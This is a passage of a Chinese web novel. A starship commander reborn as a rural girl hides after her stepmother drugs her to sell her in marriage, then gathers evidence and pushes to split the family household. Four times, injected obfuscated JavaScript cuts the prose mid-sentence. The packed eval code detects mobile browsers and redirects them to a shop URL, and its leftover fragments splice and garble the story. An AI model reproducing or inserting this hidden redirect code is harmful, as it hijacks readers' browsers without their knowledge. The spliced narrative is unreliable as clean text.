“嗯,好。”闵金菊在梳头,孙婕的闺房布置得很温馨,是她们姐妹的梦中闺房——单独一间,一个人住,不用跟粮仓挤在一起,也不用隔开一个狭窄的隔间,不用摆放其他人的臭鞋脏袜子,不用被人不敲门就闯进来,不用…… 闵金菊羡慕得鼻子发酸,不禁想起了自己的妈妈:“翠柳,你知道吗?咱们几个,就你长得不像咱妈,可是你的脾气最像咱妈。” 崔六有点无奈,按照翠柳的记忆来看,翠柳确实很怂,而姐姐们口中的妈妈,也是一个胆小内向不爱惹事的软包子。 哎,难怪姐姐们疼爱翠柳,大概是把对妈妈的思念都倾注在妹妹身上了吧。 崔六有点不忍心,她看向镜子里的自己,确实,她跟三个姐姐都不太像。 她只能安慰道:“龙生九子,各不相同,正常的。” “翠柳,你想妈妈吗?”闵金菊梳完头发了,站到了崔六的身后,开始帮她梳头。 崔六盯着镜子里的姐姐,点了点头:“想。” 何止是想,她在星际是个孤儿,她连自己的妈妈是谁都不知道。 闵金菊的动作很轻,生怕扯痛了妹妹的头发,她红着眼眶:“那好,今年咱们还没有挖开那个坛子,等这次回去了,问问大姐,可不可以在中秋之前也开一次,我也好久没有看妈妈的照片了。” 崔六点了点头:“好。” 这也是没办法的事,那个许春燕不允许家里有另一个女人的任何东西,包括照片。 三个姐姐废了好大功夫,才偷偷藏了一张,埋在了家门口的老榕树下。 每年只有中秋和过年的时候才可以挖开,过生日的时候是不敢开的,怕被发现。 头发梳好了,孙阿姨却依旧没有回来,姐妹俩去东边房间陪孙婕等着。 快九点的时候,孙阿姨回来了,她把饭碗放在堂屋的八仙桌上,喊了一声小婕。 等到三个姑娘听到动静出来了,她便兴奋地八卦起来。 “蒋芳芳是个寡妇,一直想跟陈会计结婚,可是他不肯,嫌弃那个女人克夫。知道陈会计娶了别的女人,那蒋芳芳已经气急败坏地去陈家闹去了。 李秀英呢,离婚之后一直不肯嫁人,就是想跟陈会计过好日子呢。这会儿也去了,不过她没闹,就站在门口看着,可能是想让蒋芳芳丢人,自己捡漏。 至于王敏,啧,不知道从哪听来的消息,居然知道那个人就是翠柳,只是她没想到,翠柳居然看不上陈会计。这会儿她已经去找公安特派员了,说要举报许春燕买卖继女,她还要提供证据呢。” 5. 决裂1 孙婕很兴奋:“有人去闹,好事啊。” 崔六点点头,详细打听了一下这三个人的其他社会关系。 孙阿姨便大概讲了讲,末了总结道:“蒋芳芳是最想跟陈会计结婚的,不过她这么一闹,肯定没戏了。” 崔六却发现了蒋芳芳的其他价值:“我可以拉拢她,提供陈会计的其他把柄。” “没错。”孙阿姨点点头:“而李秀英呢,比较沉着冷静,有城府,会审时度势,多半不会强行插手,暂时不用管她。” “好的阿姨。说说王敏吧,她没道理帮我。”崔六到底是星舰指挥官,考虑问题不会流于表面。 孙阿姨叹了口气:“她是最棘手的。妇女主任王霞是她姑妈,平时很照顾她。她男人支援三线去了,把她一个人丢在家里,她寂寞难耐,这才跟陈会计勾搭在了一起。” “陈会计不是不行吗?”孙婕不太理解王敏图什么,一个秒男,还没有生育能力,满足不了任何女人。 孙阿姨感慨道:“可是他管钱啊。王敏想得比较开,男人不在家,那多捞点钱也是好的,所以她继续跟陈会计保持着不正当的关系,这么一来,陈会计有了什么好处,都会分她一点。” 崔六立马想明白了:“那她现在去举报许春燕,肯定是想捞陈会计出来。” 一直沉默的老三忽然开口:“没错,只要咬死了陈会计是正常的婚假求娶,而给翠柳下药、打晕翠柳、并违背翠柳的意愿、强行把翠柳送过来是许春燕一个人的行为,那陈会计就没事了。” 所有人都沉默了,只要陈会计出来了,肯定还会祸害其他的女人。 那么,蒋芳芳就显得尤为重要了!她这么一闹,陈会计不会娶她,她一定会鱼死网破的。 崔六沉思片刻:“没事,出来就出来,好戏还在后头呢。我继续躲着,且有得闹呢。” 孙阿姨无条件支持:“那你就安心在这里住着,你大姐从小跟我学刺绣,跟亲闺女没差,她跟小婕又是结拜姐妹,既然都是姐妹,那就当自家一样。” 崔六很是感动,原来科技不那么发达的社会,还是有真情在的。 习惯了跟冰冷的机器作伴,此时的崔六,再一次羡慕上了翠柳。 她真诚地笑了:“好,谢谢阿姨,那我就赖在这里了。” 孙阿姨笑着起身:“快睡吧,不早了,你身上还有伤,休息好才好得快。” “好。” 外面,闵红梅跟闵橙萱还在到处找妹妹,虽然只是做样子,但姐妹俩很卖力。 只有这样,后妈许春燕的恶行才会公之于众。 她们倒要看看,到时候爸爸会怎么做。 姐妹俩还特地到孙家附近绕了一圈,到处敲门打听,有没有看到她们的妹妹。 崔六在西房全都听见了。 聪明的姐姐们,要不是因为亲妈走得早,极度缺爱,怎么也不可能被她们的爸爸用亲情绑架,做后妈和后妈孩子的血包。 这次的事情正好是个契机,让三个姐姐好好看清楚,这个爸爸到底值不值得她们孝顺! 只要她们及时醒悟,不再上交工资,姐妹四个可以搬出去单过,怎么都比留在现在那个家里强。 很快,声音走远了。 崔六点开了陈会计的三个吃瓜红包,“发现”阶段的奖励有三个,分别是蓝色、紫色和金色品质的红包各一个。 蓝色的品质居中,仅高于白色和绿色的红包,对应的是生活作风问题。 紫色的比蓝色的高一级,对应的是中饱私囊的问题。 金色的级别最高,对应的是权色交易、权钱交易、裙带关系的问题。 不用问也知道,级别对应了相关事件解决的难度。 崔六把红包一一点开,一共获得了瓜币2333,实物奖励:巧克力面包两个,松香烤肠两对,杏色羊毛呢子大衣一件,女式手表一只,以及三斤白面、五斤大米、两斤猪肉的供应票。 这些可都是好东西,崔六把它们寄存在系统空间里面,留着合适的时候再用。 至于要不要把吃瓜的追踪任务分派给孙阿姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501367|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和孙婕…… 等以后熟悉了再说吧,现在她怕吓着她们母女。 凌晨四点,闵金菊起来了,她去厨房做了早饭,回到房间叮嘱崔六:“翠柳,我回去一趟,我就说我也在外面找了你一夜。你乖乖的在孙阿姨家等我,知道吗?” “嗯,知道了姐。”崔六一向作息规律,这会儿四点半了,她也醒了,她坐起来提醒道,“三姐,这么大的事,咱爸要是继续维护那个女人,你会原谅他吗?” “绝不!”闵金菊不傻,她之所以跟两个姐姐一样听话,是因为她知道,大姐最是愚孝的那一个。 毕竟大姐跟爸妈一起生活的时间最长,妈妈失踪后,大姐又承担起了长姐如母的责任,她对爸爸的情感寄托是最强烈的。 可恨的是,爸爸无节制地偏心后妈的孩子,所以大姐很想证明自己才是最值得被爱的那一个。 而二姐知道劝不动大姐,便默默地陪着大姐,姐妹俩连上班的作坊都挨在一起,早出晚归的,形影不离。 倒是她这个双生妹妹独自往返村小,寂寞得很。 现在,后妈居然干出这样的恶行,她实在是忍不了了,回去就会跟两个姐姐说。 她握住崔六的手:“放心吧翠柳,咱们四个才是最亲的,我跟姐姐怎么被爸爸和那个毒妇伤害都无所谓,可是我们绝不容许他们伤害你!当年妈妈生你出了很多血,你是妈妈用命换来的。” 眼看着姐姐哽咽起来,崔六默默地反握住她的手:“姐,咱妈是怎么失踪的?” 闵金菊不想提起伤心事,赶紧岔开了话题:“天快亮了,我再不走就不好撒谎了,等我回来再说。” 崔六无奈,只好叮嘱她路上小心。 闵金菊回到家,看着刚从外面回来的两个姐姐,立马眼神一紧,暗示她们去厨房说话。 大姐烧锅,二姐做饭。 闵金菊负责盯着窗外有没有人偷听。 热气随着木制的锅盖被掀起,瞬间扑腾出来。 闵金菊小声问道:“爸说什么了?” 6. 决裂2 父母的话对孩子的分量很重,哪怕只是一句敷衍的承诺,也会让孩子产生不切实际的幻想。 此时的闵红梅,明显上当了。 她略带欣慰地塞了把柴火:“半夜一点的时候我跟你二姐回来过一次,当时爸爸答应我们,绝对不会让翠柳嫁给陈会计。” “那彩礼得退给人家啊!要不然人家三天两头的来家里要人,翠柳还做不做人了?”闵金菊很不满,这也值得高兴?本来就不该答应啊。 闵红梅解释道:“你听我说,爸说了,他一直都想给翠柳找个好婆家。翠柳的婚事,他是绝对不会再让那个毒妇插手了。” “那个毒妇是你加的吧?”闵金菊毫不留情地撕碎了姐姐的幻想,“爸的原话肯定是,‘红梅啊,你放心,翠柳的婚事,我绝对不会再让你们妈妈插手了’,对吧?” 闵红梅移开视线,不想正面回答。 只要她爸的心里有她们姐妹,她就愿意继续做个孝顺女儿。 她把衣袖补丁上的线头扯了,宽慰道:“这不重要,金菊,婚姻是女人的第二次投胎,只要爸爸愿意给翠柳找个好婆家,其他的都不重要。” 闵金菊气死了,看了眼正在搅拌面汤的闵橙萱:“二姐,你说句话啊。” 闵橙萱没什么好说的,一起生活了这么多年,大姐是个什么脾气她还不知道吗? 只管低头忙自己的,切了青菜碎,加了一把花生,再磕了一个鸡蛋,在面汤里搅匀,烧开后撒一点点盐粒子,搅合两下,早饭就成了。 她把最稠的捞给了大姐,最稀的留给了自己,端着饭碗,抓起灶台旁的小马扎,坐下喝汤。 姐妹三个排排坐,小时候是这样,长大了还是这样,活脱脱三个小苦瓜,满身补丁的小苦瓜。 苦瓜苦自己就行了,绝对不能容忍再苦了妹妹翠柳。 闵金菊无语至极:“二姐!你说说大姐啊!咱爸明显是敷衍她的!真为翠柳好的话,他为什么不跟许春燕离婚?就这么睁只眼闭只眼,由着那个毒妇欺负翠柳?” 闵橙萱不想听她唠叨:“你说得对,他不在乎翠柳,不在乎我们任何一个人!他忙了一晚上,到处在找关系捞许春燕。” “什么?”闵金菊彻底傻眼,气得声音都拔高了好几度,“都这样了,他还想捞许春燕出来?” 闵红梅赶紧劝道:“你小点声!咱爸只是不想让弟弟妹妹们跟咱们四个一样没了妈妈。他已经承诺过我了,一定会对翠柳好的。” 闵金菊无话可说,气得她嘭的一下把碗撂在灶台上,头也不回地走了。 闵橙萱默默叹了口气,哎,非要问,这么多年了,不都是这样。 何必白费力气。 反正她是不指望大姐会改变了,只能尽量看着点大姐,别哪天被爸爸卖了还帮爸爸数钱。 门外路上,闵金菊憋着一口气,飞速地赶回了孙家。 看到自己妹妹正在教孙婕怎么打草稿画画,那口气忽然就泄了。 算了,既然大姐执迷不悟,那么保护老四的事情就交给她自己好了。 反正二姐整天跟大姐形影不离的,她总是多余的那个。 她走到崔六身后,弯腰搂住了这个妹妹的肩膀:“翠柳翠柳~~~” 崔六噗嗤一声笑了:“三姐,回去受气了?” “别提了,傻大姐傻大姐,这词儿还真是有出处的!”闵金菊真是心累,干脆枕在崔六肩头,“还好还好,我家翠柳不傻,知道反抗!你知道吗翠柳,我听说你宁可撞死也不要嫁给那种男人,我心疼之余居然还有点兴奋!” “我懂!”崔六明白,这种兴奋不是幸灾乐祸,而是欣慰。因为那个泥人一样的翠柳,居然有着宁折不弯的精神内核!她丢开画笔,反手搂着闵金菊的腰,安慰道,“三姐,别气了,我跟你说个事儿。” “你说。”正好旁边有把椅子,闵金菊一把抓了过来,坐在了崔六旁边。 崔六从信纸下面拿出一张表格,上面是详细的盖房预算:“喏,咱们可以借着这次的事,找妇女主任帮忙,跟许春燕那帮人分开,单独立个门户。” “什么!!!”闵金菊震惊不已,虽然她也想这样,可是她很担心,“农村很难吧,一般都是儿子结婚才能分户,咱们四姐妹都没有成家,能行吗?” “为什么不行?新中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501368|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国不是男女平等吗?既然那个家容不下咱们,那咱们自己顶门立户怎么了?再说了,青松都那么大了,不方便。回头你也找王主任哭一哭,就说咱们洗澡的时候,经常因为弟弟乱跑,搞得惊心动魄的,这么下去很容易出事,让王主任救救咱们。”崔六一直坚持事在人为,实在不行的话,她也有替代方案,于是她补充道,“如果实在不让分户,那就让村里给咱们批一块地,咱们自己盖房子搬出去住,就说弟弟要结婚了,住不下这么多人。” “哎呀!我怎么没想到!”闵金菊激动坏了,第一个方案确实困难重重,毕竟农村还是坚持糟粕的老传统,觉得女儿不配单独立户,可是后者完全没问题啊。 她们姐妹四个都有本事有收入,哪怕暂时拿不出多少钱,起码可以找朋友借一借,只要今后的工资不再上交给那些吸血的蚂蟥,想还清欠债轻而易举。 尤其是大姐、二姐和老四的工作,都是多劳多得的,不像她,在村小,都是固定工资。 哎呀,到时候可以姐妹俩合一个房间,想想就美得很! 闵金菊忍不住搂着崔六的脑袋,腻腻歪歪:“我的好翠柳,终于不是逆来顺受的受气包了,我好开心哦!” “三姐!”崔六听到有人在敲门,赶紧提醒,“来人了。” 闵金菊松开她:“快,你躲到帘子后面,小心别踢翻了马桶。” “知道了姐。”崔六还要继续“失踪”一段时间,便赶紧放下画笔,几步走到床的侧面,掀开帘子躲了进去。 闵金菊也躲了起来,最终是孙婕去开的门。 门外站着一个戴着公社袖章的阿姨,一脸的笑:“小婕在家啊,你王霞阿姨叫我来帮忙找个人,她叫闵翠柳,咱们公社碧云村的,昨天下午一点左右在下圩村到上圩村中间的水渠那里失踪。小婕你见过她吗?” 孙婕赶紧客气地让王露进来:“是王阿姨啊,我一直在家绣花呢,没看到翠柳。对了阿姨,你儿子最近怎么样?醒了吗?” “没呢,自从他三年前抗洪抢险出了意外,他就没醒来过,哎。”王露默默地叹了口气,她那可怜的儿子哦,也不知道这辈子还能不能醒了。 7. 决裂3 王露手里拿着一张名单,上面记录了闵家姐妹的社会关系网络。 她要一家一家核实,尽快把这件事弄个水落石出,浅聊了两句就走了。 孙婕赶紧把门关上,回到西房,继续找崔六学画画。 崔六好奇:“姐姐,那个阿姨跟王主任什么关系啊?” “她是王霞的姐姐王露,人很好,我妈就喜欢去她家里唠家常。”孙婕拿起画笔,不禁感慨,“就是可惜了,她儿子恐怕醒不来了。” “她儿子怎么了?”崔六随口问了一句,顺手把孙婕头发上的一片水杉叶子摘下。 孙婕无奈道:“她儿子楚泽林你不知道吗?” “不知道。”崔六搜罗了一圈翠柳的记忆,确实不认识这个人。 翠柳很内向,不爱说话,也不喜欢打听别人的事情,所以别看翠柳经常被喊来公社画图样,但她只关心自己的活儿和收到的报酬,其他的全都不在意。 再说了,一个公社好几万人,她也认不过来啊。 可以这么说,翠柳这种性格,非常适合做一个心无旁骛的科研人员。 只可惜,翠柳的家庭没有适合翠柳生长的土壤,反倒是充满了摧残翠柳的风刀霜剑。 真是太让人惋惜了。 崔六忍不住拿起笔,在纸上画了一片湖,湖边恣意生长着一株柳树。 万条垂下,青翠欲滴,微风拂过,自在逍遥。 孙婕认真地观摩学习,等她画完,忍不住夸道:“你好厉害啊翠柳!” 崔六也很意外,按理说,她只是拥有翠柳的记忆,也知道翠柳对画画的一些心得,所以她可以教孙婕一点理论性的东西。 但她自己画画的话,肯定不如翠柳厉害,可她刚刚有感而发,居然就这么顺其自然地画了一幅画。 难道她真的就是翠柳? 算了,说正事,这个楚泽林的名字正在孙婕的脑袋上飘着呢,是个瓜主。 崔六继续问道:“姐姐,那个楚泽林到底怎么了?” 一旁的闵金菊抢答道:“他就是那个疏散了一百多户百姓的抗洪英雄啊。上过报纸的,你还用那张报纸糊了墙。” “是他?”崔六终于找到了相关的记忆,不过那张报纸被水打湿了,名字糊了没看清。她很佩服这种不畏生死的英雄,好奇道,“是不是救人太累了,溺水了?” “当然不是!”闵金菊摇了摇头,“他是被砸成植物人的。” “被砸?”崔六有点意外,报纸上只写了意外受伤。 孙婕解释道:“据陈会计说,他是被文件柜上面的箱子砸中了脑袋。” “陈会计?”崔六意识到了什么,问道,“当时还有别人在场吗?” “没有。”孙婕摇了摇头,“那会儿大多数百姓都疏散结束了,楚泽林跟着大部队进行最后的疏散确认,没想到陈会计半截身子泡在水里,还在公社大院里面整理文件。他进去劝说陈会计撤离,帮忙转移文件的时候,文件柜上的箱子掉了下来,砸中了他的脑袋。” “好端端的,文件柜上面的箱子怎么会掉下来?那些柜子不都是铁的吗?就算泡了水,也需要很长时间才能生锈变脆。”崔六不理解,除非那柜子本身就是歪的,或者地基有问题。 可是台风来得快,去得也快,就算加上泡水的时间,也不足以让公社大院的地基出现严重的问题。 这事孙婕也觉得奇怪,不过现场只有陈会计和楚泽林两个人,她也不知道到底怎么回事,只得摇了摇头:“可能箱子放的位置不好,当时着急撤离,不小心碰到了。” 崔六陷入了沉思,看,孙婕脑袋上的红包,陈会计相关的两个居然都在闪,分别是中饱私囊,和权钱交易。 这是吃瓜红包的进度提醒,说明楚泽林昏迷的这件事,确实跟陈会计脱不了干系。 但是因为孙婕也不清楚其中的玄机,所以后续的追踪,只能崔六自己来完成了。 她详细打听了一下楚泽林的情况:楚家老三,上头有两个姐姐,下面有一个弟弟,一个妹妹。 今年二十七,在部队表现良好,屡建奇功,被组织委以重任,带着营部去海岛开荒、戍边。 临行前家里催促他回来相亲,趁早把婚结了,不巧赶上了台风来袭,汹涌的江水冲垮了护江大堤,他便主动加入了抗洪抢险的队伍。 没想到出了事。 他被送去了省内最好的军医院,却依旧没有任何醒转的迹象。 两年后,他的家人担心护工的照顾不如家人用心,便跟部队打了申请,把人接回来照看。 部队也讲人情,别的不说,光是他疏散了一百多户人家,记个三等功都不为过。 所以,楚泽林虽然昏迷不醒,应有的待遇和福利却一点都没有打折扣,部队还额外批复了一笔护理费和营养费。 至于他那个只见了一面的相亲对象,据说已经跟别人订婚了,下个月就结婚。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501369|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> * 崔六一躲就是五天。 期间一直在关注朱玉民的动向,听说他在走访闵家的亲戚朋友,了解家庭成员之间的矛盾,目前已经获得了一些旁证。 崔六还拜托孙阿姨介绍了一个靠谱的护士,来孙家抽了一管血,检测她体内的药物残留。 报告出来,证明她被喂食了过量的安乃近。 她又拜托三姐闵金菊出面,说服了蒋芳芳,加入她们的阵营,万一陈会计出来了,可以搅合陈会计今后的婚事。 果然,陈会计没事了。 那王敏提供的不光有人证——媒婆肖桂香,还有书面的彩礼协议,上面有陈会计的签名和手印,外加许春燕的手印,她不会写字,就没有签名。 这一切都证明陈会计不是买卖妇女,而是按照女方后妈的要求,走正常的流程求娶的翠柳。 第三天的时候,陈会计就被放出来了,许春燕却依旧被关着。 至于闵青松的女朋友家,得了五百块彩礼,才舍不得还给闵铁牛呢。 陈会计又来要钱。 欠债还钱,天经地义。 就算四个便宜女儿都把工资上交给了许春燕,许春燕一定有私房钱,闵铁牛却压根不知道她把钱藏在了哪里。 急得他七窍生烟,万般无奈,只得跟陈会计商量,要不把大女儿嫁给他,只要陈会计可以帮忙捞许春燕出来就行。 至于失踪的翠柳,再找几天还没有人影的话,就算了,可别影响家里人上工、赚钱,日子还要过呢。 不管怎么说,在闵铁牛心里,前妻生的女儿,压根没许春燕重要。 陈会计琢磨了两天,答应了,不过他要求亲自见一见闵红梅,做做她的工作,千万别再像翠柳一样,玩什么人间蒸发。 此时,在外面找了一天妹妹的闵红梅和闵橙萱回来了。 刚进门,就看到陈会计坐在堂屋里面,一脸的笑。 闵红梅的一颗心,瞬间提到了嗓子眼,一旁的闵橙萱倒是平静异常,一点情绪起伏都看不出来。 她早就猜到会有这一天,牺牲一个女儿就能换老婆出来,闵铁牛的天平,从来都是歪的。 她握紧了闵红梅的手,微微侧了侧脑袋,在闵红梅耳朵边上说道:“等会不管发生了什么,我叫你跑你就跑,别回头!” 同一时间,一直在跟踪陈会计的蒋芳芳,在通知完闵金菊后,也赶来了碧云村,出现在了闵家门外。 8. 分户1 蒋芳芳的心里还保留着一丝幻想。 万一翠柳找不回来,陈会计肯定要找闵家的人讨回彩礼,到时候两家撕破了脸,哪里还会再做亲家? 她还是有机会跟陈会计结婚的。 所以她并没有立即现身,而是钻进了草垛旁的茅厕里,竖起耳朵,听听陈会计到底干什么来了。 这一听可不打紧,气得她七窍生烟,花容失色。 这个畜生,居然想要改娶闵家的大女儿? 那闵红梅生得端庄秀气,人也温柔贤惠,她根本比不过。 一时间也顾不得陈会计会不会丢脸了,冲出来直奔闵家院子里面,上去不管不顾地撞开闵铁牛,揪住陈会计的衣领子要说法。 这一撞正好把闵红梅也弹开了,她没想到她老子居然打起了她的主意,正在那里抹泪呢,闵橙萱则一个劲地给她使眼色,叫她跑。 她却不肯,非要问清楚为什么。 这有什么好问的,她们的老子压根不在乎她们呗。 闵橙萱急了,那闵青松还在家里,要是三个男人联手留人的话,她压根没有胜算,只得拽着闵红梅赶紧走。 闵红梅却还是不死心,单手握住门框,回头问道:“爸,我只想知道,如果我听话嫁给陈会计,你会继续找翠柳吗?” “哎,这都六天了还是没找到,我估计是她自己不想回来了。总之,当务之急,是先把你们的妈妈救回来。本来就只是普通的家庭纠纷,何必呢。”闵铁牛很是着急,翠柳那丫头不听话,他也没办法。 就算真的有一天东窗事发,他也有话说——我找了啊,我请假停工,找了一个礼拜了。再找下去,全家都得喝西北风。再说了,要不是我前头女人失踪了,我也不至于弄混了两个孩子,不关我的事啊。 反正把一切推给一个不在的人,谁也找不到证据。 至于卫生所当年帮忙调包的助产士,也在几年前下落不明,再也没了威胁。 他已经完全没有后顾之忧,自然要和稀泥。 没想到这话激怒了闵红梅,她质问道:“那许阿姨回来之后呢?你还找翠柳吗?” “什么许阿姨?”闵铁牛很不喜欢这个称呼,他诧异地打量着这个女儿,质问道,“红梅啊,你今天很不对劲!是不是不满意爸爸给你找的婆家?要我说,你都27了,能找个公社会计你就偷着乐吧,别把自己看得太高。至于翠柳,我尽力了,随便你怎么想。” 闵红梅擦了把眼泪,最后一次试图挽回他们的父女关系,她威胁道:“好,要我嫁人可以,我就一个条件,彩礼钱给我,我来雇人继续找翠柳,你要是不答应,我就不嫁!” “胡闹!”闵铁牛气死了,一拍桌子站了起来,“张嘴闭嘴就是翠柳,难道她失踪了我就不着急吗?难道全家人以后都不过了,全都围着不知道在哪儿的翠柳打转?” “我妈当初失踪,你也是这么想的吧?全家人要过日子,所以我们姐妹四个的委屈就不算什么了。难道我们四个不算这个家里的人吗?”闵红梅委屈坏了,“这样下去,用不了几天,翠柳在这个家里就会像我们的妈妈一样,连她来过的痕迹都没有了。” 闵铁牛说不过她,干脆故技重施,一把捂住心口:“你这个不孝女,你非要气死我不可,你……” 闵红梅的眼中闪过一丝犹豫,她还不想把她爸爸气死,几个妹妹都还没有嫁人呢,要是爸爸死了,婆家一看她们没有娘家撑腰,一定会拼命欺负她们的。 只得上前一步,赶紧扶着闵铁牛。 闵橙萱气得直翻白眼,一跺脚一转身,找赤脚医生去。 等到赤脚医生赶来,那闵铁牛早就面色红润地在跟蒋芳芳吵架。 蒋芳芳骂他不要脸,装病吓唬他的女儿,他骂蒋芳芳不检点,上赶着勾搭陈会计。 至于陈会计,则黑着脸,单手揪着蒋芳芳的衣领子,准备把她拽出去。 看到来了个陌生人,陈会计这才松了手。 赤脚医生站在堂屋门口看了眼,一眼断定:“闵队长中气十足,好着呢,真要是有心脏病的话,不可能这么快就爬起来跟人吵架。我还有事,走了。” 这下闵铁牛傻眼了,赶紧狡辩:“红梅啊,你别听他胡说,爸爸心口真的很疼。他是故意挑拨我们父女的关系,他家也有闺女,生怕你跟了陈会计过好日子,就把他家闺女比下去了。” 闵红梅没有说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501370|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也觉得她爸爸好得太快了,变魔术似的。 难道他真的在骗她?这么多年,一直都在骗她? 她忽然觉得这个老子很陌生,很歹毒,就连他抽叶子抽黄的牙齿,也恍惚变成了鲜血的颜色。 那嘴巴一张一合,就像是要吃人。 闵红梅不禁心中一紧,脱口而出道:“我妈到底是死了还是失踪了?” 闵铁牛忽然卡壳了,他怔怔地看着这个女儿,短暂的心虚之后,是触底反弹的暴戾。 气得他抄起门口的火钳,毫不客气地招呼过来:“你什么意思?你怀疑我?你反了天了你!” 眼看着大姐要挨揍,闵橙萱二话不说冲了上去,一把握住火钳,猛地用力夺了过来,嘴里喊道:“愣着干什么?快跑啊大姐,快啊!” 闵红梅吓出一身的冷汗,回过神来,拔腿便跑,跑到门口又想起还在单独对抗豺狼的二妹,又不要命地冲了回去。 那闵铁牛见状,催促他刚刚睡醒的儿子闵青松把院门关上,气急败坏捡起火钳,骂道:“好,回来得好,今天我非得好好教训教训你们这两个不孝女!” 话音未落,门口传来了一个久违的声音。 崔六来了! 她和闵金菊带着公安特派员、公社妇女主任,和公社宣传干事刘祥一起来了。 刘祥的手里还架着相机,恰到好处地拍下了闵铁牛高高举起火钳,想要痛揍两个女儿的画面。 等他的镜头移开,崔六便冲了上去,一把夺过火钳,丢在了门外的茅坑里。 顺手把两个姐姐从闵铁牛身边捞出来,送去院子里,交给了一脸愤怒的闵金菊:“赶紧走,剩下的我来交涉。” 闵金菊不放心,一把挽住她的胳膊:“你想怎么做?” “分户!机不可失时不再来!你们在这里,我只会顾此失彼,三姐,快走!”崔六沉声催促了两声,顺带着用力一推,把她们三个全都推向了门外。 转身的时候,崔六的脸上只剩下冰冷,那是星舰指挥官独有的杀伐与果断。 她上前一步,拦住了气急败坏的闵铁牛,对着陈会计冷笑道:“陈会计还不走?是想留在这里,做闵铁牛的帮凶?” 9. 分户2 陈会计不傻,看得出来今天的阵仗不小。 崔六的头上还包着纱布,手里又拿着一份不知内容的文件,搞不好是许春燕的罪证。 这事他可不能掺和,王敏好不容易捞他出来,他还想逍遥快活呢。 赶紧跟王霞和朱玉民打了声招呼,转身离去。 闵铁牛也意识到大事不妙,但他到底是个生产队长,见过一点世面,不至于自乱阵脚。 便客客气气地招呼来客坐下,习惯性地命令道:“红梅,愣着干什么?还不过来倒水?” 难得的,闵红梅没有听话,而是眼中含怨,拽着崔六的手,质问道:“爸,我只问你,翠柳回来了,你还打算把她嫁给陈会计吗?” “我不是说了吗?我会给翠柳找个好婆家。”闵铁牛压根不知道老四这几天跑哪儿去了,不过人能活着回来就好。 至于婚事,只要陈会计愿意换个人,他是不会逼迫翠柳的。 然而,刚刚演完一出虚假心脏病的他,在大女儿的眼里已经没有什么可信度了。 闵红梅追问道:“那要是陈会计不同意呢?你是不是要跟许阿姨一样,给翠柳下药,强行把她送给陈会计?” 闵铁牛的脸皮瞬间垮了下来,谁说春燕儿下药了?老四刚回来,可什么都没说! 气得他冷哼一声,否认道:“你们的妈妈不是这样的人,你休想血口喷人。” 闵红梅彻底失望了,她不肯走,死死地握住崔六的胳膊,这可是她亲自带大的妹妹,说是半个女儿都不为过。 她一直默默忍受,不过是可怜妹妹,刚出生没多久就没了妈妈,可不能再没有爸爸。 可是现在,她发现她错了。 她握紧了崔六的手,问道:“翠柳,你告诉爸爸,我有没有血口喷人?” “没有。”崔六再次催促三个姐姐离开,尤其是大姐,再吵下去也无济于事,不如让她赶紧谈正事。 闵金菊明白,赶紧给了闵橙萱一个眼神,双生花一起,生拉硬拽的,把大姐带离了院子。 崔六拿出一份化验报告:“我被许春燕喂食了过量的安乃近,闵青松是她的帮凶,他们母子俩,一个死命地摁着我,一个掰开我的嘴,往我嘴里灌药喂水。直到药效发作,我没了力气反抗,闵青松才松开了我。我不甘心就这么被卖掉,拼尽全力,撞上了院子里的磨盘。朱玉民同志已经来过几次了,也从磨盘上采集了血液样本,证实了是我的血迹。可惜我实在是浑身无力,没有把自己撞死,最终还是被许春燕强行装上牛车,藏在油布下面,送去陈会计家里。幸好老天有眼,半路牛车跪在了缺口那里,把我颠了下车,我这才捡回一条性命,不用去给一个三婚家暴的男人做老婆。现在,你跟我说大姐在血口喷人?怎么,那天你也在现场?” 闵铁牛想撒谎。 没等他开口,崔六便穷追猛打:“你不是去许家借钱了吗?你逼着我们姐妹四个上交工资,全都便宜了许春燕和她娘家,你现在要用钱了,你那大舅哥给了你几毛啊?” 闵铁牛愣住了,这个老四,一向胆小懦弱,十棍子都敲不出一个闷屁来,今天这是怎么了? 